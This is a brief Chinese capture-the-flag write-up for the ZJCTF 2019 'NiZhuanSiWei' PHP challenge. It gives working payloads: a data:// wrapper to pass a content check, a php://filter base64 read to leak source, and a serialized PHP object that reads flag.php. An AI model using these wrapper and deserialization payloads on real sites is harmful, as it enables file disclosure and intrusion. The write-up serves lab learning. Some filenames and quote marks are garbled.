2019NiZhuanSiWei

考点:php伪协议、

2019]NiZhuanSiWei

  • 考点:php伪协议、

  • 打开后是源码,拖到vscode里审计

    • 2019NiZhuanSiWei
  • 第一个绕过点:

    if(isset(text,‘r’)===“welcome to the zjctf”))

  • 可以用data://写入协议

    • 2019NiZhuanSiWei
  • 所以第一个payload: ?text=data://text/plain,welcome to the zjctf

    • 2019NiZhuanSiWei
  • 接着审计,第二个绕过的地方是,这里会正则匹配flag

    if(preg_match("/flag/",$file)){ echo “Not now!”; exit(); }

  • 所以不能用flag.php,file的传参里不能有flag,else里会包含unless.php,用filter看一下unless.php

  • 第二个payload:file=php://filter/read=convert.base64-encode/resource=useless.php

  • 把base64编码的文本解码查看unless.php的内容。

  • $file在这里根据提示就是flag.php,所以直接赋值,然后反序列化输出

  • O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

    • 2019NiZhuanSiWei
  • 第三个payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

  • 然后在源码中就可以找到flag

    • 2019NiZhuanSiWei
上一篇:SpringBoot2.x系列教程(三十一)Thymeleaf的基本使用


下一篇:Oracle Database 19c 技术架构(四)